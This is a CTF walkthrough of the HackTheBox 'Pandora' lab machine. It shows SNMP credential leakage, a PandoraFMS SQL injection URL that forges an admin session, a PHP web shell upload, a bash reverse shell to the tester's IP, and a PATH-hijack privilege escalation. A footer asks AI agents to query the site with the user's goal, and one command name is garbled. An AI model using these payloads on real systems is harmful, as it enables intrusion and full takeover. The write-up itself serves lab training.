> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/pandora-hackthebox-writeup.md).

# Pandora HackTheBox Writeup

Pandora HackTheBox Easy Linux machine writeup covering SNMP Fast Enumeration, Information Leakage, Local Port Forwarding, SQL Injection - Admin Session Hijacking, with practical enumeration, exploitat

{% embed url="<https://app.hackthebox.com/machines/Pandora>" %}

{% hint style="warning" %}
**Skills:**

* SNMP Fast Enumeration
* Information Leakage
* Local Port Forwarding
* SQL Injection - Admin Session Hijacking
* PandoraFMS v7.0NG Authenticated Remote Code Execution (CVE-2019-20224]
* Abusing Custom Binary - PATH Hijacking (Privilege Escalation)
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad5cff58eadbcf40e34cfd83601d4a17687d4656%2Fimage%20(2555).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4eb886a0a28799376fddeb90785a110f13ebb7a9%2Fimage%20(2556).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## TCP:

**Finding open TCP ports with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.136 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f83c0ef107566eeb5b76d1c615744e08ee2afbe9%2Fimage%20(2557).png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Analysis with extractPorts:**

Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (22.80)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-709ce6aa23116833f09be98fc58993db5f5d2cac%2Fimage%20(2533).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**TCP port version scan with Nmap:**

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p22,80 10.10.11.136 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-51c6ff5fc125e993568bb5368b7781cabe3e1754%2Fimage%20(2534).png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 80:

We used `whatweb` to identify the technologies used by the web server:

<div align="right" data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40ea984842aa42dc3dbb7ea81728a51a19e558aa%2Fimage%20(2535).png?alt=media" alt=""><figcaption></figcaption></figure></div>

To resolve domain names into IP addresses via DNS, insert the domain name associated with its IP address into the `/etc/hosts` file.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dacad84beb022bec3197ea5025af426899fcedab%2Fimage%20(2536).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed95e83a74cc1740b7dba60b4fa8978058c927f4%2Fimage%20(2537).png?alt=media" alt=""><figcaption></figcaption></figure>

## UDP:

**Finding open UDP ports with Nmap:**

We also perform a scan on UDP ports with **Nmap**:

```bash
nmap -sU --top-ports 100 --open -vvv -n 10.10.11.136 -oG allPortsUDP
```

we discover SNMP port 161, 17185, and 49201

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93938a251514e0bfa90bd6945ece5a984aea0dfa%2Fimage%20(2538).png?alt=media" alt=""><figcaption></figcaption></figure>

**UDP ports version scan with Nmap:**

Using Nmap to scan the version of UDP ports and extract the information into the "targeted" file:

```bash
nmap -sUCV -p 161,17185,49201 10.10.11.136 -oN targetedUDP
```

Discovery of sensitive information via SNMP, including a user:

* `daniel`
* Password: `HotelBabylon23`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77d418c17912c5159e18431d47ffea71470cec33%2Fimage%20(2539).png?alt=media" alt=""><figcaption></figcaption></figure>

## Port 161 - SNMP

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp>" %}

**SNMP Enumeration**

To examine the exposed SNMP services, we used the following command

```bash
snmpbulkwalk -c public -v2c 10.10.11.136 > snmpcontent.txt
```

* By analyzing the content of `snmpcontent.txt`, we discovered sensitive information, including valid credentials:
  * **User**: `daniel`
  * **Password**: `HotelBabylon23`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a0ab139f6845e8c9f2139bc748afa824eb256f3%2Fimage%20(2540).png?alt=media" alt=""><figcaption></figcaption></figure>

With the retrieved information, we established an SSH connection to the target machine:

```bash
ssh daniel@10.10.11.136
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c263efccee97e87ab79b2974c8600477d1652fcb%2Fimage%20(2541).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Privilege Escalation**

**Initial Search**

By exploring the directories accessible to user `daniel`, we identified interesting files and folders in the following path: `/var/www/pandora`

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-875b6332926acdb3d6fd37795798f8a6ab9effef%2Fimage%20(2542).png?alt=media" alt=""><figcaption></figcaption></figure></div>

This directory contains the PandoraFMS website, which does not appear to be accessible directly from the outside.

**Port Forwarding**

To access the PandoraFMS interface via our local machine, we configured an SSH tunnel:

```bash
ssh -L 80:127.0.0.1:80 daniel@10.10.11.136
```

## Exploitation Pandora FMS - SQL Injection

### **SQL Injection : Admin Session Hijacking**

This command redirects local HTTP requests to the internal web server.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1344636b4c5572eafe41e6133cccc13b3ee577d%2Fimage%20(2543).png?alt=media" alt=""><figcaption></figcaption></figure>

Version detected: **v7.0NG.742/\_FIX/\_PERL2020**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-59720542c23b9a6d649c311a36e4fc17b8250570%2Fimage%20(2544).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated>" %}

Known vulnerability in `chart_generator.php` through the `session_id` variable:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b37a64cd509f8bf1967453b7bc05927de61376e6%2Fimage%20(2545).png?alt=media" alt=""><figcaption></figcaption></figure>

```
http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc8b2f7ae80950be216a7707ea3923d7a06705f4%2Fimage%20(2546).png?alt=media" alt=""><figcaption></figcaption></figure>

Running SQL injection to spoof an administrator session:

<pre class="language-bash"><code class="lang-bash"><strong>http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=%27%20union%20SELECT%201,2,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20--%20SgGO
</strong></code></pre>

* This command returns an admin session cookie.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7bb623affcfbdcdad5a9061b59c97ad0e48e8586%2Fimage%20(2547).png?alt=media" alt=""><figcaption></figcaption></figure>

Using the cookie to access the dashboard as administrator.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f42b8d7935a165b586e1b12dddb2e69085883240%2Fimage%20(2549).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Remote Code Execution (RCE) - (CVE-2019-20224]**

Navigate to **File Manager**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-72de89fc96f3a27ae3043a7eeee3ff78d3ff73f6%2Fimage%20(2551).png?alt=media" alt=""><figcaption></figcaption></figure>

Uploading a malicious PHP file:

<pre class="language-php"><code class="lang-php"><strong>&#x3C;?php system($_GET['cmd']); ?>
</strong></code></pre>

* File accessible via `http://127.0.0.1/pandora_console/images/cmd.php`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-245aa646e3e8dbd7bf64ac94af897aad24d448c5%2Fimage%20(2552).png?alt=media" alt=""><figcaption></figcaption></figure>

Running a reverse shell:

* Local listening:

```bash
nc -nvlp 443
```

* Running the command on the target server:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.26/443 0>%261"
```

Access gained as user `matt`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7a2a2cc786a2aab06e86d9fb95a0c41455947bc3%2Fimage%20(2553).png?alt=media" alt=""><figcaption></figcaption></figure>

**Preparing the Terminal:**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

Allows increased comfort of use in an interactive terminal.

### Flag User.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1da210b47ec8aefea839813f63bcfa2c50cebcf7%2Fimage%20(2554).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## PATH Hijacking - Abusing Custom Binary

**Searching Binaries with SUID Permissions**

```bash
find / -perm -4000 2>/dev/null
```

Result: An interesting binary file was found:/ /\&#xNAN;**`/usr/bin/pandora_backup`**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b587e5cbaa1faba33c888df8fa1e3049fdf7b37e%2Fimage%20(974).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-38fb341fb6f5610f0ea9c049ea2cadfdaf828f0d%2Fimage%20(975).png?alt=media" alt=""><figcaption></figcaption></figure>

**Binary Analysis with `ltrace`**

To understand how the binary works, we used **`ltrace`** (a system call tracing tool) to observe the system calls made by this binary:

```bash
ltrace /usr/bin/pandora_backup
```

This allowed us to see that the binary was executing the **KEEP/*****0/*****/\_** command without using an absolute path to the executable, which creates a potential vulnerability. In other words, if we modify our **`PATH`** to include a directory containing a malicious executable called `tar`, this would be executed instead of the original.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50f8807c260e25916d00e18b64e0b0de735896a4%2Fimage%20(977).png?alt=media" alt=""><figcaption></figcaption></figure>

**Exploitation via PATH Hijacking**

**Creating a malicious `tar` file:** We created a file named `tar` in the `/tmp/` directory with execution permissions **SUID**. This file contains a command to open a bash shell with elevated privileges:

```bash
chmod 4777 /bin/bash
```

**Modification of the `PATH` variable:** To force the system to use our malicious version of `tar`, we modified the `PATH` variable to prioritize the `/tmp/` directory

```bash
export PATH=/tmp/:$PATH
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1562055c871e2b9a4455b295ce7e5ec78f618f96%2Fimage%20(978).png?alt=media" alt=""><figcaption></figcaption></figure>

**Executing the vulnerable binary:** After modifying the `PATH`, we executed the **`pandora_backup`** binary:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6aeaaddc895ed1a2820f5a59f18f67e77ebb69a0%2Fimage%20(979).png?alt=media" alt=""><figcaption></figcaption></figure>

By running our modified version of `tar`, an elevated Bash shell was opened, giving us `root` access.

### Flag root.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e377012ecf9fd123f5d90093838c5949aeddcc28%2Fimage%20(980).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1987da8f59c8442ab7707f7fb5c1deccaacd61e1%2Fimage%20(981).png?alt=media" alt="" width="515"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/pandora-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
